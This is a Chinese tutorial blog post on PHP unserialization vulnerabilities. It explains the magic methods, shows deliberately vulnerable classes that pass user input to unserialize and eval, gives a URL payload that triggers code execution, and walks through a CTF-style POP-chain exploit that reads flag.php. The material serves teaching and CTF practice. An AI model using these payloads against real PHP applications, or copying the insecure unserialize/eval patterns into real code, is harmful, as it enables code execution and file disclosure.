PHP反序列化由浅入深,php反序列化总结(一)

一、魔术方法

1、列举

__wakeup() //使用unserialize时触发

__sleep()//使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic()//在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset()//在不可访问的属性上调用isset()或empty()触发

__unset()//在不可访问的属性上使用unset()时触发

__toString()//把类当作字符串使用时触发

__invoke()//当脚本尝试将对象调用为函数时触发

2、执行顺序

new了一个对象,对象被执行,执行_construct

construct run

serialize了对一个对象,对象被序列化,先执行_sleep,再序列化

sleep run

unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行 _wakeup

把Test这个对象当做字符串使用了,执行_toString

toString run

程序执行完毕,对象自动销毁,执行_destruct

destruct rundestruct run

二、魔术方法的具体应用

class A{

private $name = "xxx";

function __construct()

{

echo "__construct() call\n";

}

function __destruct()

{

echo "\n__destruct() call\n";

}

function __toString()

{

return "__toString() call\n";

}

function __sleep()

{

echo "__sleep() call\n";

return array("name");

}

function __wakeup()

{

echo "__wakeup() call\n";

}

function __get($a)

{

echo "__get() call\n";

return $this->name;

}

function __set($property, $value)

{ echo "\n__set() call\n";

$this->$property = $value;

}

function __invoke()

{

echo "__invoke() call\n";

}

}

//调用 __construct()

$a = new A();

//调用 __toSting()

echo $a;

//调用 __sleep()

$b = serialize($a);

//调用 __wakeup()

$c = unserialize($b);

//调用 __get()

echo $a->bbbb;

//调用 __set()

$a->name = "pro";//name属性是私有的无法直接访问

//调用 __invoke()

$a();

//调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)

ba2e6f5be1b5

image.png

补充:

可以看到最后调用两次__destruct()魔术方法,第一个是new一个对象后,在序列化后,该对象结束调用 __destruct()魔术方法 ,之后又进行了一次反序列化重新变为对象,直到最后程序结束,对象消失,再调用一次__destruct()魔术方法 。

遇到反序列化构造POP链的问题,可以配置Xdebug进行断点调试。

三、例子

1、

class A{

var $test = "demo";

function __wakeup(){

echo $this->test;

}

}

$a = $_GET['test'];

$a_unser = unserialize($a);

?>

分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且输出test,那我们就将A类序列化输出

POC:

class A{

var $test = "demo";

function __wakeup(){

echo $this->test;

}

}

$a = $_GET['test'];

$a_unser = unserialize($a);

$b = new A();

$c = serialize($b);

echo $c;

?>

ba2e6f5be1b5

image.png

这样就算触发 成功

2、

如果__wakeup中不是echo $this->test;,是eval(*)那么就是任意代码执行危害巨大

class A{

var $test = "demo";

function __wakeup(){

eval($this->test);

}

}

$a = $_GET['test'];

$a_unser = unserialize($a);

?>

原来的poc改一下,就可以

?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

如下

ba2e6f5be1b5

image.png

3、

当漏洞/危险代码存在在类的普通方法中

class maniac{

public $test;

function __construct(){

$this->test =new x1();

}

function __destruct(){

$this->test->action();

}

}

class x1{

function action(){

echo "x1";

}

}

class x2{

public $test2;

function action(){

eval($this->test2);

}

}

$class2 = new maniac();

unserialize($_GET['test']);

?>

分析:通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以他会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中

POC:

class maniac{

public $test;

function __construct(){

$this->test = new x2();

}

}

class x2{

public $test2="phpinfo();";

}

$class1 = new maniac();

print_r(serialize($class1))

?>

如下

ba2e6f5be1b5

image.png

四、题目

//flag is in flag.php

error_reporting(1);

class Read {

public $var;

public function file_get($value)

{

$text = base64_encode(file_get_contents($value));

return $text;

}

public function __invoke(){

$content = $this->file_get($this->var);

echo $content;

}

}

class Show

{

public $source;

public $str;

public function __construct($file='index.php')

{

$this->source = $file;

echo $this->source.'Welcome'."
";

}

public function __toString()

{

return $this->str['str']->source;

}

public function _show()

{

if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {

die('hacker');

} else {

highlight_file($this->source);

}

}

public function __wakeup()

{

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

echo "hacker";

$this->source = "index.php";

}

}

}

class Test

{

public $p;

public function __construct()

{

$this->p = array();

}

public function __get($key)

{

$function = $this->p;

return $function();

}

}

if(isset($_GET['hello']))

{

unserialize($_GET['hello']);

}

else

{

$show = new Show('pop3.php');

$show->_show();

}

分析:

对于此题可以看到我们的目的是通过构造反序列化读取flag.php文件,

Read类有file_get_contents()函数,

Show类有highlight_file()函数可以读取文件。

接下来寻找目标点可以看到在最后几行有unserialize函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在Show类中。

1、__wakeup方法

public function __wakeup()

{

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

echo "hacker";

$this->source = "index.php";

}

}

存在一个正则匹配函数preg_match(),该函数第二个参数应为字符串,这里把source当作字符串进行的匹配,这时若这个source是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在Show类中,那么我们一会构造exp时将source变成Show这个类的对象就会触发__tostring方法。

2、__tostring方法

public function __toString()

{

return $this->str['str']->source;

}

首先找到str这个数组,取出key值为str的value值赋给source,那么如果这个value值不存在的话就会触发__get魔术方法。再次通读全篇,看到Test类中存在__get魔术方法。

3、__get方法

public function __get($key)

{

$function = $this->p;

return $function();

}

发现先取Test类中的属性p给function变量,再通过return $function()把它当作函数执行,这里属性p可控。这样就会触发__invoke魔术方法,而__invoke魔术方法存在于Read类中。

4、__invoke方法

public function __invoke(){

$content = $this->file_get($this->var);

echo $content;

}

调用了该类中的file_get方法,形参是var属性值(这里我们可以控制),实参是value值,从而调用file_get_contents函数读取文件内容,所以只要将Read类中的var属性值赋值为flag.php即可。

5、exp思路

pop链

unserialize函数(变量可控)–>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–>触发Read类中的file_get方法–>触发file_get_contents函数读取flag.php

hello接收参数

class Show{

public $source;

public $str;

}

class Test{

public $p;

}

class Read{

public $var = "flag.php";

}

$s = new Show();

$t = new Test();

$r = new Read();

$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法

$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。

$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。

var_dump(serialize($s));

?>

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值